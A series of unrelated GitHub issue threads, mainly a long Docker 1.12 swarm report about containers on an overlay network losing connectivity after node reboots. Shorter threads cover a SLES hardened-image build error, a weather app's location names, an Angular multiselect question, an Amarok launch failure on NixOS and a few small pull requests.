ID: HF6O:3RRR:UUWB:WRJE:ZEB2:E7JN:WFRE:MEGC:UKNQ:YA55:L5LY:XG75
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
WARNING: No swap limit support
Insecure Registries:
 <IP_ADDRESS>/8
root@c910f04x19k03:~#

Additional environment details (AWS, VirtualBox, physical, etc.):
Docker swarm nodes are 5 KVM guests that connects to the linux bridge
root@c910f04x19k03:~# docker node ls
ID                           HOSTNAME       MEMBERSHIP  STATUS  AVAILABILITY  MANAGER STATUS
07wntcacagsx697lbxwglgabu *  c910f04x19k03  Accepted    Ready   Active        Leader
4l4154pxnax251zxhq168ma9t    c910f04x19k06  Accepted    Ready   Active
4mf6v47xxg5k1ife7j45tx4bx    c910f04x19k07  Accepted    Ready   Active
8z8ex1v57urkh0jsmbbmlhvgw    c910f04x19k04  Accepted    Ready   Active
ewv3w07kjncrbi6zmgk1ywa4b    c910f04x19k05  Accepted    Ready   Active
root@c910f04x19k03:~#

Docker service tasks:
root@c910f04x19k03:~# docker service tasks httpclient
ID                         NAME          SERVICE     IMAGE                                                   LAST STATE          DESIRED STATE  NODE
5b5aj5a4mtklxodmyje0moypj  httpclient.1  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 12 minutes  Running        c910f04x19k03
7ngcg71fi4tji0tuyia150o19  httpclient.2  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 12 minutes  Running        c910f04x19k07
am57ovhrxatzdbvesbldvtdym  httpclient.3  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 12 minutes  Running        c910f04x19k05
1ov8zznmytamghkg88bm9a6e2  httpclient.4  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 12 minutes  Running        c910f04x19k06
44rag1o41yeyj877auf6y5y30  httpclient.5  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 12 minutes  Running        c910f04x19k04
root@c910f04x19k03:~#

Steps to reproduce the issue:
1 Setup the swarm with 5 nodes
root@c910f04x19k03:~# docker node ls
ID                           HOSTNAME       MEMBERSHIP  STATUS  AVAILABILITY  MANAGER STATUS
07wntcacagsx697lbxwglgabu *  c910f04x19k03  Accepted    Ready   Active        Leader
4l4154pxnax251zxhq168ma9t    c910f04x19k06  Accepted    Ready   Active
4mf6v47xxg5k1ife7j45tx4bx    c910f04x19k07  Accepted    Ready   Active
8z8ex1v57urkh0jsmbbmlhvgw    c910f04x19k04  Accepted    Ready   Active
ewv3w07kjncrbi6zmgk1ywa4b    c910f04x19k05  Accepted    Ready   Active
root@c910f04x19k03:~#

2 Run docker service create --replicas 5  --publish 22 --name httpclient liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new to deploy the service with 5 containers
root@c910f04x19k03:~# docker service create --replicas 5  --publish 22 --name httpclient liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new
40b52xd74ds9emyginbusuq9r
root@c910f04x19k03:~#
root@c910f04x19k03:~# docker service tasks httpclient
ID                         NAME          SERVICE     IMAGE                                                   LAST STATE          DESIRED STATE  NODE
5b5aj5a4mtklxodmyje0moypj  httpclient.1  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 25 minutes  Running        c910f04x19k03
7ngcg71fi4tji0tuyia150o19  httpclient.2  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 25 minutes  Running        c910f04x19k07
am57ovhrxatzdbvesbldvtdym  httpclient.3  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 25 minutes  Running        c910f04x19k05
1ov8zznmytamghkg88bm9a6e2  httpclient.4  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 25 minutes  Running        c910f04x19k06
44rag1o41yeyj877auf6y5y30  httpclient.5  httpclient  liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new  Running 25 minutes  Running        c910f04x19k04
root@c910f04x19k03:~#

3 Attach to the containers using docker exec -it <container_id> /bin/bash
4 Run fping on one container to test the network connectivity to the other containers
The ip addresses of these containers are <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS>; through the fping result, it shows that <IP_ADDRESS> and <IP_ADDRESS> could not connect to any other container.
root@0ba8a9bd2ce1:/# fping <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS>
<IP_ADDRESS> is alive
<IP_ADDRESS> is alive
<IP_ADDRESS> is alive
<IP_ADDRESS> is unreachable
<IP_ADDRESS> is unreachable
root@0ba8a9bd2ce1:/#

Describe the results you received:
Some containers on the overlay network could not connect to the other containers that are on the same overlay network.
Describe the results you expected:
All the containers on the overlay network should be reachable.
Additional information you deem important (e.g. issue happens only occasionally):

ping @mavenugo

@mavenugo could you please help take a look? My work is being blocked by this issue, and my colleague is running into this same problem. Thank you.

@ligc sure. Will take a look.

In my cluster, the docker hosts use the subnet <IP_ADDRESS>/8, which overlaps the docker swarm ingress network <IP_ADDRESS>/16, could this be a problem at all?

@ligc overlapping subnet could be a problem for kernels < 3.16. But since you are using kernel 4.x (i guess all your 5 nodes are the same kernel).
Can you please let us know how (exact command) do you init your swarm ?

HI,
The 5 nodes are all running Ubuntu 16.04 with kernel 4.4.0-22
The command I used to init the swarm:
docker swarm init --listen-addr <IP_ADDRESS>:2377

Then I run the following join command on all the 4 worker nodes to join the swarm:
docker swarm join <IP_ADDRESS>:2377

@ligc thanks. just curious. The built-in IPAM will dish-out ip-address in sequence. Do you know the reason for the missing .8 & .9 addresses ? Trying to understand this scenario to make sense of the reproduction steps (such as scaling and / or introducing more services in the network).

Yes, I did ran scale out and scale in several times, and there was another service in the swarm, I think the missing .8 and .9 were used by the other service.

I just deleted the service and re-deploy it with command "docker service create --replicas 5  --publish 22 --name httpclient liguangcheng/ubuntu-16.04-x86_64-apache2-benchmark-new", but the containers are still assigned the same addresses <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS>. May this be an indication of the reason of the problem?

@ligc reusing the same ip-address (after deleting the existing service) is by design. I think the .8 & .9 containers are being used by other services in the network.
Do you still see the connectivity issues even after removing and re-deploying the service ?

@mavenugo  after removing and re-deploying the service, there are still 2 ip addresses are not reachable, but the 2 ip addresses are different.
root@f85e48d0a79b:/# fping <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS>
<IP_ADDRESS> is alive
<IP_ADDRESS> is alive
<IP_ADDRESS> is alive
<IP_ADDRESS> is unreachable
<IP_ADDRESS> is unreachable
root@f85e48d0a79b:/#

I have a similar issue. I've created 3 nodes with docker-machine on AWS. Enabled swarm mode with docker swarm init and docker swarm join .... I've created an overlay network and a service, which is connected to that network. If I try to ping one container from another one (in the same service, but on a different node) with the VIP address on the overlay network, I get Destination Host Unreachable.

@ghoranyi @ligc I cannot think of anything obvious other than the security-groups affecting the control/data-plane. Can you please open up the appropriate ports (4789/udp , 7946/udp, 7946/tcp)

@mavenugo Thanks, could you please show us detailed commands to run on which nodes to check and open up the ports?

@ligc i meant : http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html#SG_Changing_Group_Membership

@mavenugo HI, I am not using the Amazon cloud, the nodes are KVM guests on my local server, I think the security groups do not apply in my configuration?

I opened up the security groups for any kind of traffic inside the subnet and still doesn't work. Also, I found this, which I guess is related: https://github.com/docker/docker/issues/24377

@ligc yes. the security-groups config above is for AWS users (which @ghoranyi is).
In your case, can you do further investigation and narrow down if the issue is seen only on particular nodes or specifically the reproduction steps that made you notice this issue ?

create a new overlay network (docker network create -d overlay test)
launch services (with appropriate replicas)
capture the docker network inspect test in each of the nodes
perform the ping operation between these containers
scale up / scale down and repeat step 3 & step 4 till you hit the issue ?
(and confirm if the issue is seen on particular node and identify what is different in those nodes ?)

@ghoranyi I missed your point on pinging the VIP. Yes, pinging VIP will not work (IPVS doesnt support ICMP). can you try pinging either tasks.{service-name} or individual container-ip ?
Or if your service is exposing a TCP or UDP port, you can try to access the VIP via any L4+ access such as nc or tools like https://github.com/tyru/srvtools

@mavenugo I destroyed and re-created the swarm, deployed the services httpclient and httpserver, the network connectivity between the containers worked perfectly, the scale up/scale down did not break the network. Until, I rebooted all the nodes in the swarm(including the swarm manager), the overlay network seems to be messed up after the reboot.
Note: the get-ips is a shell script I wrote to get the virtual ip and containers ips of a service through distributed shell.
[root@c910f02c01p02 ipvs]# cat get-ips
#!/bin/bash

service=$1
vip=`xdsh c910f04x19k03 docker service inspect $service | grep "Addr" | awk '{print $3}'`
echo "Virtual IP is: " $vip
xdsh c910f04x19k03 docker service tasks $service | sed 1d | awk '{print $2,$3,$NF}' > aa.txt
cat aa.txt | while read line; do
    node=`echo $line | awk '{print $3}'`
    cid=`echo $line | awk '{print $2}'`.`echo $line | awk '{print $1}'`
    echo -n "$cid    "
    echo -n "$node    "
    ip=`xdsh $node docker exec $cid ifconfig | grep "10.255" | awk '{print $3}' | awk -F':' '{print $2}'`
    echo $ip
done
[root@c910f02c01p02 ipvs]#

Before reboot:
[root@c910f02c01p02 ipvs]# ./get-ips httpclient
Virtual IP is:  "<IP_ADDRESS>/16"
httpclient.1.eeazk63xx9ifugi0mdvqg5pdh    c910f04x19k03    <IP_ADDRESS>
httpclient.2.1v9skx9ex7dztl1brf9et094n    c910f04x19k06    <IP_ADDRESS>
httpclient.3.duftc0uu289r3v93ohaosf5r4    c910f04x19k07    <IP_ADDRESS>
httpclient.4.ehoky1m7x0fuy7jaxhjlcs7ow    c910f04x19k05    <IP_ADDRESS>
httpclient.5.3oq78akvwyi04boh7ml4ht8ut    c910f04x19k04    <IP_ADDRESS>
[root@c910f02c01p02 ipvs]# ./get-ips httpserver
Virtual IP is:  "<IP_ADDRESS>/16"
httpserver.1.7pcxtsu2fgm3zp1klf4prync1    c910f04x19k06    <IP_ADDRESS>
httpserver.2.507jzs3wkrcgrkb7q4y8rn8z5    c910f04x19k07    <IP_ADDRESS>
httpserver.3.4q3nnyr28af9ur2hw0mz88spe    c910f04x19k04    <IP_ADDRESS>
httpserver.4.axo7fmw004aqsady92ze7ehop    c910f04x19k03    <IP_ADDRESS>
httpserver.5.4xba5lkvxidfn0oxk7f90elus    c910f04x19k05    <IP_ADDRESS>
[root@c910f02c01p02 ipvs]#

After reboot:
[root@c910f02c01p02 ipvs]# ./get-ips httpserver
Virtual IP is:  "<IP_ADDRESS>/16"
httpserver.1.baz74f1t18ngis8vfgirs3sgi    c910f04x19k06    <IP_ADDRESS>
httpserver.2.dx9gz9dl90clmk8sgyceuhta8    c910f04x19k05    <IP_ADDRESS>
httpserver.3.4kb92su1g2tgvopupeytj8jef    c910f04x19k04    <IP_ADDRESS>
httpserver.4.7ko5vnlrmg8cpn8lnkbbby7os    c910f04x19k03    <IP_ADDRESS>
httpserver.5.ek1ybhyf96zh412fzwmgjfyh9    c910f04x19k05    <IP_ADDRESS>
[root@c910f02c01p02 ipvs]# ./get-ips httpclient
Virtual IP is:  "<IP_ADDRESS>/16"
httpclient.1.9r24q0i8q3w8c9xg6em222yfz    c910f04x19k07    <IP_ADDRESS>
httpclient.2.1gig6tceslpfzha9bqaw3wubk    c910f04x19k06    <IP_ADDRESS>
httpclient.3.9n8w6hrze4o8josyepu95xrk3    c910f04x19k03    <IP_ADDRESS>
httpclient.4.cdzjn63iwxyve8dofflxwvjjj    c910f04x19k07    <IP_ADDRESS>
httpclient.5.6kj4iisr6me3s05k0c9qn40kz    c910f04x19k04    <IP_ADDRESS>
[root@c910f02c01p02 ipvs]#

We could see that there are several duplicate ip addresses after reboot.

I was able to re-produce this "reboot" problem on my both docker swarm clusters. I am thinking that the original problem in this bug might be caused by reboot, I did reboot some nodes.

@ligc yes. that seems to be the problem. Infact am currently chasing after the same issue while debugging https://github.com/docker/docker/issues/24486. So either this is a dupe of https://github.com/docker/docker/issues/24486 or related. We will address this issue shortly.
Thanks for the detailed analysis.

Experiencing similar in rc4

@bitsofinfo are you able to test if the current master resolves this for you? You can download static binaries from https://master.dockerproject.org

I have the same issue. I used docker-machine with virtualbox driver. How to recreate:

create 2 vms
docker-machine create -d virtualbox docker1
docker-machine create -d virtualbox docker2
create swarm cluster with 2 nodes
on doker1
docker swarm init --advertise-addr <IP_ADDRESS>s
on docker2
docker swarm join --token SWMTKN-1-05mip8t6db1y8dc58b7wg0c6mweadx8v5w691if7zspii6zclt-c6dr1l6vkim5gn8ukqhq1eq26 <IP_ADDRESS>:2377
create overlay network
docker network create -d overlay testnet
create 2 services
docker service create --name mongo1 --network testnet --constraint "node.hostname == docker1" mongo
docker service create --name mongo2 --network testnet --constraint "node.hostname == docker2" mongo
"docker exec -it  bash" into containers and test connectivity. both containers can resolve each other’s ip and connect to each other. everything is good.
restart manager docker
sudo /etc/init.d/docker stop
sudo /etc/init.d/docker start
test connectivity again. dns resolution no longer works across nodes. tcp is also not working now.

Recreating services doesn't help. Recreating overlay network doesn't help (also tried different subnet). Only full recreatinon of the whole swarm helps. I also tested on differend vms and bare metal with the same resuls.
docker version
Client:
Version:      1.12.1
API version:  1.24
Go version:   go1.6.3
Git commit:   23cf638
Built:        Thu Aug 18 17:52:38 2016
OS/Arch:      linux/amd64
Server:
Version:      1.12.1
API version:  1.24
Go version:   go1.6.3
Git commit:   23cf638
Built:        Thu Aug 18 17:52:38 2016
OS/Arch:      linux/amd64
Please tell me if any other information is needed.

Also experiencing the exact same issue in the 1.12.1 release. Only recreating the entire cluster solves the issue.

An additional note, on a 3 manager Swarm (still 1.12.1) the issue manifests itself a little differently (maybe another issue altogether).
If one of the manager machines fails and later is recovered without user action, it will automatically rejoin the Swarm. Other managers will list the recovered node as a manager, and that node will be able to schedule tasks.
However, DNS resolution and published services will frequently be broken on the recovered node. DNS resolution only works for tasks that have at least one scheduled container on the node itself. Published ports stop working altogether, meaning that published services can no longer be accessed on that node.
We have found that the easiest way to solve this issue at the moment is to manually exclude the offending node from the Swarm, and add it again, This means demoting the manager, removing the node, forcing the manager itself to leave the Swarm and finally rejoining it. Hope this last part helps working around the issue.

I'm experiencing the same issue, also using the virtualbox driver and docker 1.12.1.
I needed to manually restart the manager node. Once restarted I can scale services from it, and it correctly lists networks, nodes, services, etc. However DNS and VIP are broken across nodes. Note that I can still access local containers through the service name and the corresponding VIP, but it will only distribute requests between containers run on the restarted manager node. Running nslookup tasks.<service> has the corresponding behaviour of only listing local containers.

We're experiencing the same issue on 1.12.1, build 23cf638. 6-node swarm on Digital Ocean, an overlay network with 1 nginx container and several rails containers. Initially works great, can hit the IP of any node, will go through the nginx container and nginx will load balance across the rails containers. No problems.
Upon upgrading the rails service docker service update --with-registry-auth --image our_team/our_image@sha256:1234 web, nginx starts to receive upstream timeouts. I can still hit nginx from any IP on the swarm, but it times out trying to get to the upstream rails app (all of which are booted and listening). All docker inspects, netstat, iptables, and node status etc. look fine.
Removing and re-creating the nginx service now makes nginx unreachable at any IP except the machine the container is running on. Restarting daemons, removing all services and recreating networks, or rebooting machines doesn't help. So far I've had to manually recreate the swarm from scratch to resolve.
Quite easy for me to replicate, what can I provide to help diagnose?

I can re-create the problem (see https://github.com/docker/docker/issues/26563 ).
Did anyone find an easier workaround than the one described by @eb-dteixeira ? Because reboots and server failures may happen at any time and at the moment the result is that some services will be unavailable after reboot and the manual fixing cannot be a good solution...

@bryanrite in your case, is nginx using individual containers as its "upstream" (i.e. connecting to the containers, and not the virtual-ip address of the service)? If so, then that's expected. The free version of nginx does a DNS lookup when the server is started, and caches the results until the next restart. If the IP address of a container changes (or, in your case, the container is replaced with a new container when doing a service update), it will keep on trying to use the IP-addresses of the "old" containers. You can find information about that in this blog post: https://tenzer.dk/nginx-with-dynamic-upstreams/ (it's not a bug / issue in Docker, but a deliberate limitation in the free version of nginx)
Possible solutions for that are:

restart the nginx proxy after doing a service update
use the paid-for "nginx plus" version, which does support dynamic DNS updates
instead of using individual containers as upstream, use the built-on load balancer of Swarm Mode, and use the service name as upstream. The service has a "static" (virtual) IP address, so updating the service will not result in changes of that. Also, by doing so, you make optimum use of the built-in features of Swarm mode (load balancing)

@thaJeztah Thanks for responding so quickly!
No, the upstream is just:
upstream rails {
  server web:3000;
}

location / {
  ...
  proxy_pass http://rails;
}

It works fine when I scale up and down as the containers move around the swarm. The problems start only when I docker service upgrade.

Thanks for the extra info @bryanrite. Fwiw, I know the networking team is still looking into some issues in this area, and it's likely there's some duplicate issues, but sometimes it's difficult to determine if it's a duplicate or something in a specific setup, as they all may result in the same behavior.

@thaJeztah No problem. Let me know if there is anything else I can provide to help diagnose as we're currently blocked by this. Thanks!

@thaJeztah @mrjana In a similar (or identical?) issue I just added some outputs of my iptables and netstat on a cluster. Maybe this can help?   https://github.com/docker/docker/issues/26563#issuecomment-247309264

@bryanrite @thaJeztah Regarding nginx: I Think it's really a source of confusion for many. The free nginx indeed does resolve dns on startup(and exits if a specified host name is not available). But as I understand it the internal DNS always has the same ip for a service no matter how many instances there are. Therefore nginx continues to have the correct ip.
My guess is that fx. updating a service may cause a renewal of the IP address leaving nginx with an old IP address - and it won't resolve it again without being restarted.
Solution will be to use a resolver in nginx' s config.

@michaelkrog correct, services have a VIP (Virtual IP) by default, and that shouldn't change. However, if a service is created with dnsrr (DNS round robin) mode, there's no Virtual IP, and resolving the service's name will return IP addresses of individual containers backing the service (and those are not fixed).

Perhaps we need more documentation about that (also an interesting read is https://github.com/stevvooe/sillyproxy)

@michaelkrog @thaJeztah Yes, the default nginx using roundrobin DNS directly to the swarm's hosts would be a problem, but to confirm, since I am using the swarm's service name, it would be binding to a VIP that doesn't change, load balancing within swarm itself and from my understanding this should not cause the above issue with nginx?
Restarting the nginx container does not resolve the issue, and updating it will actually cause nginx to timeout itself (except on the actual host it is running on -- as explained above)... so I suspect it is a swarm issue with ingress routing rather than a misconfiguration of nginx.
Let me know if there is any more information I can provide! Thanks!

@bryanrite there are some issue still being investigated with swarm networking, and I'm really no networking "expert", so not sure I can personally help further triaging the issue, but @mrjana or @mavenugo should be able to if needed (and better know what to ask for). Thanks for your offer for helping!

@bryanrite You are most likely having a gossip failure problem. You can confirm this by checking your daemon logs. When gossip fails there is a bug which makes the recovery problematic. docker/libnetwork#1446 has a fix for this.
But in general if you are in DO, I would avoid using the public IP to form the swarm. I think if raft and gossip are running in the public network there is either a network congestion or some kind of network throttling going on which causes these flapping. Instead you can enable a private network and form the swarm using the private network. This may help although I can't say for sure.

@mrjana Thanks for the update! I have been following your discussion on #26563 ... I have tried running on both private and public networks but get the same result. Different from @ascora , I am not load testing or hammering the swarm in any way, so maybe DO is throttling the gossip traffic for some reason? I don't remember offhand if the docker daemon logs had any gossip issues, but I will take a look again, and see if I can run it on the latest master with your libnetwork fix.
Thanks!

@bryanrite @mrjana Just to clarify: I can reproduce the problem quickly with load testing but it originally appeared - and continues to appear - on our normal productive servers as well. It only takes longer to appear if I don't do load testing. Also, for the load testing I used DO but our productive servers are not at DO so I don't think that DO is throttling the traffic.

@bryanrite Thanks and please let us know what you find from the logs.
@ascora If the problem is still happening in your normal production servers is it possible to get daemon logs from there just to make sure you are seeing the same problem? Originally we both thought that it was because of some node restart and if that is what is still triggering the issue in your normal production servers that is a different issue(which is already fixed in docker/docker master btw). Just want to make sure if we are not missing any other issues in the mix.

@mrjana Would it be useful if I gave you access to a small cluster on DO that is exhibiting the problem? I've been able to reproduce it pretty consistently -- although like @ascora mentioned, sometimes it takes a few service updates or some load to kick it off.
If so, I can set up something for you in a day or so -- have an deadline I have to meet first :smile:

@mrjana I re-created the swarm on them since the 15th but I have attached the (anonymized) logs from the 16th. I created a new service on the 16th and noticed yesterday that it was not reachable from all IPs. However, I don't see the ping problem in the logs from the 16th.
I also got the logs from the 15th and I can send them as well and indeed they contain the ping message. But on the 15th I tested so many things that I don't know if this was related to a reboot or not.
x3.manager.txt
x1.manager.txt
x2.manager.txt

@bryanrite Sure please provide access as that would confirm(or not) if this issue is related to gossip failure. So we can tag this issue accordingly.

@ascora If what you provided here are the logs from the 16th these also show gossip failure and that is still your problem, although in this case it failed faster with UDP ping retry before TCP pings could timeout. But at the end the effect is the same. You can also see from the logs(from x1.manager.txt) that at the same time gossip is failing, raft also underwent leader re-election and GRPC session towards workers also timed out. All of these processes inside docker are completely independent but they somehow see the same problem which indicates some congestion at some level below these processes.

I am going to close this as a dupe of  #26563 since the symptoms are similar. Feel free to reopen if you think this is a different bug.


Feature - look & feel on Published Document

We're currently using vanilla template for Published Document.
Improve styling to support these improvements:

look and feel of page. Whitespace, borders, etc
cosmetic styling to (roughly) match current presentation
intro/welcome content

Stick with current template.


SLES 15 SP4 hardened images do not build

When preparing a refresh of SLES 15 SP4 image definitions I noticed that the hardened images do not build. The build fails due to the sle15-script-pcs-hardening.sh script throwing an error:
[  122s] [ INFO    ]: 11:53:55 | Calling config.sh script
[  122s] [ DEBUG   ]: 11:53:55 | --------------out start-------------
[  122s] [ DEBUG   ]: 11:53:55 | Configure image: [SLES15-SP4-Hardened-BYOS]...
[  122s] [ DEBUG   ]: 11:53:55 | /usr/lib/rpm/gnupg/keys /
[  122s] [ DEBUG   ]: 11:53:55 | Importing gpg-pubkey-39db7c82-5f68629b to rpm database
[  122s] [ DEBUG   ]: 11:53:55 | Importing gpg-pubkey-3fa1d6ce-63c9481c to rpm database
[  122s] [ DEBUG   ]: 11:53:55 | Importing gpg-pubkey-50a3dd1c-50f35137 to rpm database
[  122s] [ DEBUG   ]: 11:53:55 | Importing gpg-pubkey-d588dc46-63c939db to rpm database
[  123s] [ DEBUG   ]: 11:53:56 | /
[  123s] [ DEBUG   ]: 11:53:56 | Loading repository data...
[  123s] [ DEBUG   ]: 11:53:56 | Warning: No repositories defined. Operating only with the installed resolvables. N
othing can be installed.
[  123s] [ DEBUG   ]: 11:53:56 | Reading installed packages...
[  123s] [ DEBUG   ]: 11:53:56 | 'aide' is already installed.
[  123s] [ DEBUG   ]: 11:53:56 | Package 'aide' is not available in your repositories. Cannot reinstall, upgrade, o
r downgrade.
[  123s] [ DEBUG   ]: 11:53:56 | Resolving package dependencies...
[  123s] [ DEBUG   ]: 11:53:56 | Nothing to do.
[  123s] [ DEBUG   ]: 11:53:56 | Loading repository data...
[  123s] [ DEBUG   ]: 11:53:56 | Warning: No repositories defined. Operating only with the installed resolvables. N
othing can be installed.
[  123s] [ DEBUG   ]: 11:53:56 | Reading installed packages...
[  123s] [ DEBUG   ]: 11:53:56 | 'aide' is already installed.
[  123s] [ DEBUG   ]: 11:53:56 | Package 'aide' is not available in your repositories. Cannot reinstall, upgrade, o
r downgrade.
[  123s] [ DEBUG   ]: 11:53:56 | Resolving package dependencies...
[  123s] [ DEBUG   ]: 11:53:56 | Nothing to do.
[  123s] [ DEBUG   ]: 11:53:56 | Loading repository data...
[  123s] [ DEBUG   ]: 11:53:56 | Warning: No repositories defined. Operating only with the installed resolvables. N
othing can be installed.
[  123s] [ DEBUG   ]: 11:53:56 | Reading installed packages...
[  123s] [ DEBUG   ]: 11:53:56 | 'crontabs' not found in package names. Trying capabilities.
[  123s] [ DEBUG   ]: 11:53:56 | --------------out stop--------------
[  123s] [ DEBUG   ]: 11:53:56 | --------------err start-------------
[  123s] [ DEBUG   ]: 11:53:56 | warning: Rebuilding outdated index databases
[  123s] warning: Generating 18 missing index(es), please wait...
[  123s] warning: Rebuilding outdated index databases
[  123s] warning: Generating 18 missing index(es), please wait...
[  123s] warning: Rebuilding outdated index databases
[  123s] warning: Generating 18 missing index(es), please wait...
[  123s] warning: Rebuilding outdated index databases
[  123s] warning: Generating 18 missing index(es), please wait...
[  123s] Remediating rule 1/165: 'xccdf_org.ssgproject.content_rule_aide_check_audit_tools'
[  123s] Remediating rule 2/165: 'xccdf_org.ssgproject.content_rule_aide_periodic_cron_checking'
[  123s] No provider of 'crontabs' found.

Apparently it tries to install the package crontabs, which naturally fails during the build. Question is whether we need to add a package or whether it's a bug in the scap-security-guide. I'm not aware of a package that provides crontabs so I'm thinking the latter but I'm not familiar with scap-security-guide. @brett060102 Could you investigate?

@jgleissner I will take a look.


Location Names

Hi,
Would it be possible to make it so that you could rename favorites, instead of just showing a GPS coordinate please?

Or even better, a way of location names being detected from GPS coordinate s automatically.

@brokenbadger it is already using geocoding to try and find location name. Will have to look at why it would not work.
And good idea about renaming favorites!

Sorry, just looking at it again, it looks as though I can search for my location by name its just that it doesn't associate my GPS coordinates with that name.
That's no problem.
Would really appreciate the renaming feature though if possible?
I have found one other issue, but I'll raise as a separate ticket for consistency.
Thanks for the prompt reply.

@brokenbadger i just tried and and geocoding works correctly here when i search for my gps position.
What s your phone? android os and version?

My phone is a Pixel 7, OS is GraphineOS and version is Android 13.
I'm just wondering if I'm just an edge case? Technically I'm  on the edge of a city, so maybe I just fall outside according to the geocoding? If thats the case then being able to rename favorites would be a more than acceptable solution?

@brokenbadger might be due to your ROM. You are not using microg or gapps? Without them you won't have geocoding

Ah OK, that'd make sense.
Thanks for looking into it anyway
--
Securely sent with Tutanota.
10 Jun 2023, 22:50 by @.***:

@brokenbadger https://github.com/brokenbadger>  might be due to your ROM. You are not using microg or gapps? Without them you won't have geocoding
—
Reply to this email directly, > view it on GitHub https://github.com/Akylas/oss-weather/issues/43#issuecomment-1585824636> , or > unsubscribe https://github.com/notifications/unsubscribe-auth/AL4AZCYGQQU5SE32NAYHB2LXKTTYVANCNFSM6AAAAAAZBQ3Y7I> .
You are receiving this because you were mentioned.> Message ID: > <Akylas/oss-weather/issues/43/1585824636> @> github> .> com>


Question on Required Message related to multiselect dropdown

I'm submitting a ...  (check one with "x")
[ ] bug report => search github for a similar issue or PR before submitting
[ ] feature request
[ ] support request
[x] question

Hi,
I was working with a multiselect dropdown component with help of your suggestion, I have handled the
required error using [class.error]="showError".
Everything is working fine but when I place the options of multiselect dropdown inside setTimeout
then by default This field is required message is shown
Below is the example

https://stackblitz.com/edit/ngx-formly-custom-template-tghnre

When I remove setTimeout it works fine. But I need it to be inside setTimeout. Can you please help me
on this?

* **Angular version:** 5.0

there is something wrong with multiselect-dropdown lib instead of using setTimeout which is not a clean way you can use *ngIf="iOptions" and everything should work.
        <ss-multiselect-dropdown
          *ngIf="iOptions"
          ...
        </ss-multiselect-dropdown>

I have made changes as you said. It works,but the problem is the dropdown  is not shown until the options are built and the options in my case is coming from server so till then page will be blank and once the options are received it shows the dropdown.

you can try another better lib such as ng-select see https://stackblitz.com/edit/angular-ntysej

I have tried this.In this dropdown,options does not have checkbox. I have tried with older version of angular-2-dropdown-multiselect and I have removed settimeout as u mentioned and added *ngIf. It is working fine there is a small delay but its fine compared to new dropdown which took several seconds to show.
Thank you for your help.


Can't start Amarok from the icon in the KDE menu

Describe the bug
If I start Amarok using amarok it works fine. But if I start it from the desktop entry in the KDE menu, it fails with an error:
The name org.kde.amarok was not provided by any .service files

If I right click on the entry, it points me to this file:
$ cat /nix/store/nlihhynqxz523mhjlpy65p2bskwkvh4a-amarok-2.9.71/share/applications/org.kde.amarok.desktop
[Desktop Entry]
Type=Application
Version=1.0
Name=Amarok
StartupWMClass=amarok
# …
# Add pure audio formats here, for other formats see amarok_*.desktop files
# See bug 242292
MimeType=audio/aac;audio/mp4;audio/mpeg;audio/mpegurl;audio/vnd.rn-realaudio;audio/vorbis;audio/x-flac;audio/x-mp3;audio/x-mpegurl;audio/x-ms-wma;audio/x-musepack;audio/x-oggflac;audio/x-pn-realaudio;audio/x-scpls;audio/x-speex;audio/x-vorbis;audio/x-wav;application/x-ogm-audio;audio/x-vorbis+ogg;audio/ogg;
X-DocPath=amarok/index.html
…
X-KDE-Protocols=http
DBusActivatable=true
Terminal=false
Categories=Qt;KDE;AudioVideo;Audio;Player;

My guess is that DBusActivatable=true causes some issue. It might be related to https://github.com/NixOS/nixpkgs/issues/138956
Steps To Reproduce
Steps to reproduce the behavior:

Install in NixOs amarok (tested on 6dccdc458512abce8d19f74195bb20fdb067df50):

environment.systemPackages = with pkgs; [ amarok ];
services.xserver.displayManager.sddm.enable = true;
services.xserver.desktopManager.plasma5.enable = true;

I also tried to set
services.dbus.packages = with pkgs; [
    amarok
  ];

just in case, but it does not work either.
Notify maintainers
@peterhoeg

The dbus service isn't there. A quick workaround:

copy the org.kde.amarok.desktop file to ~/.local/share/applications
remove the dbusactivatible line from the file
run kbuildsycoca5

You should then be able to launch it normally.


Update mel_ops.py

This update explains the mel scale formula that is used in Tensorflow implementation. This can resolve the reproducability/compatibility issues signal processing people would face when they are working with other signal processing library such as librosa.

(cc' @rryan :)

Hi. Please make the PR against master as the release branches are only updated during releases.


Remove comment

Remove an unnecessary comment. (Mostly to test that this model of submitting PRs through git subtree push works.)

LGTM!
I see you have three commits -- the change, reverting the change, and then redoing it. Is there a particular reason for that?
My inclination is to handle PRs here the same way as in the mypy project -- in particular, use Squash and merge so that one PR becomes one commit in the history. Just like on Phabricator.
So unless there's something going on here that I'm missing (do you need these commit messages for the sake of a git-subtree flow you're trying?), I'll do that here.


proof confirmation/pending page

@keybase/react-hackers

:mag_right: The commits 0f74479f1182...896f44a87718 introduced some visual changes on linux:

Added: My_Profile_Confirm_or_Pending-Pending_dns

Added: My_Profile_Confirm_or_Pending-Pending_Hacker_News

Added: My_Profile_Confirm_or_Pending-Confirm_http

Added: My_Profile_Confirm_or_Pending-Confirm_Twitter

Added: My_Profile_Confirm_or_Pending-Confirm_Reddit

Added: My_Profile_Confirm_or_Pending-Confirm_Github

Added: My_Profile_Confirm_or_Pending-Confirm_Coinbase

Added: My_Profile_Confirm_or_Pending-Confirm_Bitcoin (view)
